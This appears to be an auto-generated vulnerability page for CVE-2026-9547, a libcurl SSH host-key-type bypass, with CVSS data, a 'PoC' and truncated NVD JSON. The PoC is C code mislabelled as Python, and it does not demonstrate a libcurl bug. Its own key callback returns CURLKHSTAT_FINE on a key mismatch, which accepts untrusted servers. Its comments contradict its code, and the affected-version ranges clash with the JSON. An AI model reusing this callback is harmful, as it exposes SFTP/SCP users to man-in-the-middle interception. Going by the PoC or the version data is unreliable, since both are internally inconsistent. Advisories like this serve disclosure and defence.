Security Vulnerability Report
中文
CVE-2026-9547 CVSS 7.4 HIGH

CVE-2026-9547

Published: 2026-07-03 07:16:26
Last Modified: 2026-07-06 18:20:47
Source: 2499f714-1537-4658-8207-48ae4bb9eae9

Description

When a libcurl-based application performs transfers via `SCP://` or `SFTP://` and utilizes the `CURLOPT_SSH_KEYFUNCTION` callback, it may silently accept an untrusted server. This vulnerability occurs when a server presents a host key type that does not match the specific key type already recorded for that host in the `known_hosts` file. Instead of rejecting the mismatch, the callback mechanism fails to properly enforce the restriction, allowing the connection to succeed without warning and risking a potential man-in-the-middle attack.

CVSS Details

CVSS Score
7.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

libcurl >= 7.84.0
libcurl < 8.14.0
curl >= 7.84.0
curl < 8.14.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * CVE-2026-9547 PoC - libcurl SSH Host Key Type Verification Bypass * * This PoC demonstrates the vulnerability where libcurl's CURLOPT_SSH_KEYFUNCTION * callback fails to properly enforce host key type matching against known_hosts file. * * Requirements: * - libcurl with CURLOPT_SSH_KEYFUNCTION support * - libssh2 backend * - A known_hosts file with an existing entry for the target host * * Compilation: gcc -o poc poc.c -lcurl */ #include <stdio.h> #include <string.h> #include <curl/curl.h> /* Vulnerable key callback - does not properly check key type against known_hosts */ static int ssh_key_callback(CURL *easy, const struct curl_khkey *knownkey, const struct curl_khkey *foundkey, enum curl_khmatch match) { /* Vulnerability: The callback should verify that the key type matches, * but due to CVE-2026-9547, the type comparison is not properly enforced. * The match parameter may return CURLKHMATCH_MISMATCH even when types differ, * yet the connection proceeds without rejection. */ printf("[+] SSH Key Callback Triggered\n"); printf("[+] Known key type: %s\n", knownkey->keytype); printf("[+] Found key type: %s\n", foundkey->keytype); printf("[+] Match result: %d\n", match); /* In vulnerable versions, this returns CURLKHSTAT_FINE even on type mismatch */ if (match == CURLKHMATCH_MISMATCH) { printf("[!] WARNING: Key type mismatch detected but connection allowed!\n"); printf("[!] This is CVE-2026-9547 - vulnerable behavior\n"); return CURLKHSTAT_FINE; /* BUG: Should return CURLKHSTAT_REJECT */ } return CURLKHSTAT_FINE; } int main(int argc, char *argv[]) { CURL *curl; CURLcode res; const char *url = (argc > 1) ? argv[1] : "sftp://[email protected]/file.txt"; if (argc < 2) { printf("Usage: %s <sftp:// or scp:// URL>\n", argv[0]); printf("Example: %s sftp://user@localhost/home/user/test.txt\n", argv[0]); return 1; } curl_global_init(CURL_GLOBAL_DEFAULT); curl = curl_easy_init(); if (curl) { curl_easy_setopt(curl, CURLOPT_URL, url); curl_easy_setopt(curl, CURLOPT_SSH_KEYFUNCTION, ssh_key_callback); curl_easy_setopt(curl, CURLOPT_SSH_KEYDATA, NULL); /* Disable verbose to demonstrate silent acceptance */ curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); printf("[*] Attempting connection to: %s\n", url); printf("[*] Using CURLOPT_SSH_KEYFUNCTION callback\n"); printf("[*] If server presents different key type than known_hosts,\n"); printf("[*] vulnerable libcurl will silently accept the connection.\n\n"); res = curl_easy_perform(curl); if (res == CURLE_OK) { printf("\n[+] Transfer completed successfully\n"); } else { printf("\n[-] Transfer failed: %s\n", curl_easy_strerror(res)); } curl_easy_cleanup(curl); } curl_global_cleanup(); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9547", "sourceIdentifier": "2499f714-1537-4658-8207-48ae4bb9eae9", "published": "2026-07-03T07:16:25.990", "lastModified": "2026-07-06T18:20:47.007", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "When a libcurl-based application performs transfers via `SCP://` or `SFTP://`\nand utilizes the `CURLOPT_SSH_KEYFUNCTION` callback, it may silently accept an\nuntrusted server. This vulnerability occurs when a server presents a host key\ntype that does not match the specific key type already recorded for that host\nin the `known_hosts` file. Instead of rejecting the mismatch, the callback\nmechanism fails to properly enforce the restriction, allowing the connection\nto succeed without warning and risking a potential man-in-the-middle attack."}], "affected": [{"source": "2499f714-1537-4658-8207-48ae4bb9eae9", "affectedData": [{"vendor": "curl", "product": "curl", "defaultStatus": "unaffected", "versions": [{"version": "8.20.0", "lessThanOrEqual": "8.20.0", "versionType": "semver", "status": "affected"}, {"version": "8.19.0", "lessThanOrEqual": "8.19.0", "versionType": "semver", "status": "affected"}, {"version": "8.18.0", "lessThanOrEqual": "8.18.0", "versionType": "semver", "status": "affected"}, {"version": "8.17.0", "lessThanOrEqual": "8.17.0", "versionType": "semver", "status": "affected"}, {"version": "8.16.0", "lessThanOrEqual": "8.16.0", "versionType": "semver", "status": "affected"}, {"version": "8.15.0", "lessThanOrEqual": "8.15.0", "versionType": "semver", "status": "affected"}, {"version": "8.14.1", "lessThanOrEqual": "8.14.1", "versionType": "semver", "status": "affected"}, {"version": "8.14.0", "lessThanOrEqual": "8.14.0", "versionType": "semver", "status": "affected"}, {"version": "8.13.0", "lessThanOrEqual": "8.13.0", "versionType": "semver", "status": "affected"}, {"version": "8.12.1", "lessThanOrEqual": "8.12.1", "versionType": "semver", "status": "affected"}, {"version": "8.12.0", "lessThanOrEqual": "8.12.0", "versionType": "semver", "status": "affected"}, {"version": "8.11.1", "lessThanOrEqual": "8.11.1", "versionType": "semver", "status": "affected"}, {"version": "8.11.0", "lessThanOrEqual": "8.11.0", "versionType": "semver", "status": "affected"}, {"version": "8.10.1", "lessThanOrEqual": "8.10.1", "versionType": "semver", "status": "affected"}, {"version": "8.10.0", "lessThanOrEqual": "8.10.0", "versionType": "semver", "status": "affected"}, {"version": "8.9.1", "lessThanOrEqual": "8.9.1", "versionType": "semver", "status": "affected"}, {"version": "8.9.0", "lessThanOrEqual": "8.9.0", "versionType": "semver", "status": "affected"}, {"version": "8.8.0", "lessThanOrEqual": "8.8.0", "versionType": "semver", "status": "affected"}, {"version": "8.7.1", "lessThanOrEqual": "8.7.1", "versionType": "semver", "status": "affected"}, {"version": "8.7.0", "lessThanOrEqual": "8.7.0", "versionType": "semver", "status": "affected"}, {"version": "8.6.0", "lessThanOrEqual": "8.6.0", "versionType": "semver", "status": "affected"}, {"version": "8.5.0", "lessThanOrEqual": "8.5.0", "versionType": "semver", "status": "affected"}, {"version": "8.4.0", "lessThanOrEqual": "8.4.0", "versionType": "semver", "status": "affected"}, {"version": "8.3.0", "lessThanOrEqual": "8.3.0", "versionType": "semver", "status": "affected"}, {"version": "8.2.1", "lessThanOrEqual": "8.2.1", "versionType": "semver", "status": "affected"}, {"version": "8.2.0", "lessThanOrEqual": "8.2.0", "versionType": "semver", "status": "affected"}, {"version": "8.1.2", "lessThanOrEqual": "8.1.2", "versionType": "semver", "status": "affected"}, {"version": "8.1.1", "lessThanOrEqual": "8.1.1", "versionType": "semver", "status": "affected"}, {"version": "8.1.0", "lessThanOrEqual": "8.1.0", "versionType": "semver", "status": "affected"}, {"version": "8.0.1", "lessThanOrEqual": "8.0.1", "versionType": "semver", "status": "affected"}, {"version": "8.0.0", "lessThanOrEqual": "8.0.0", "versionType": "semver", "status": "affected"}, {"version": "7.88.1", "lessThanOrEqual": "7.88.1", "versionType": "semver", "status": "affected"}, {"version": "7.88.0", "lessThanOrEqual": "7.88.0", "versionType": "semver", "status": "affected"}, {"version": "7.87.0", "lessThanOrEqual": "7.87.0", "versionType": "semver", "status": "affected"}, {"version": "7.86.0", "lessThanOrEqual": "7.86.0", "versionType": "semver", "status": "affected"}, {"version": "7.85.0", "lessThanOrEqual": "7.85.0", "versionType": "semver", "status": "affected"}, {"version": "7.84.0", "lessThanOrEqual": "7.84.0", "versionType": "semver", "status": "affected"}, {"version": "7.83.1", "lessThanOrEqual": "7.83.1", "versionType": "semver", "status": "affected"}, {"version": "7.83.0", "lessThanOrEqual": "7.83.0", "versionType": "semver", "status": "affected"}, {"version": "7.82.0", "lessThanOrEqual": "7.82.0", "versionType": "semver", "status": "affected"}, {"version": "7.81.0", "lessThanOrEqual": "7.81.0", "versionType": "semver", "status": "aff ... (truncated)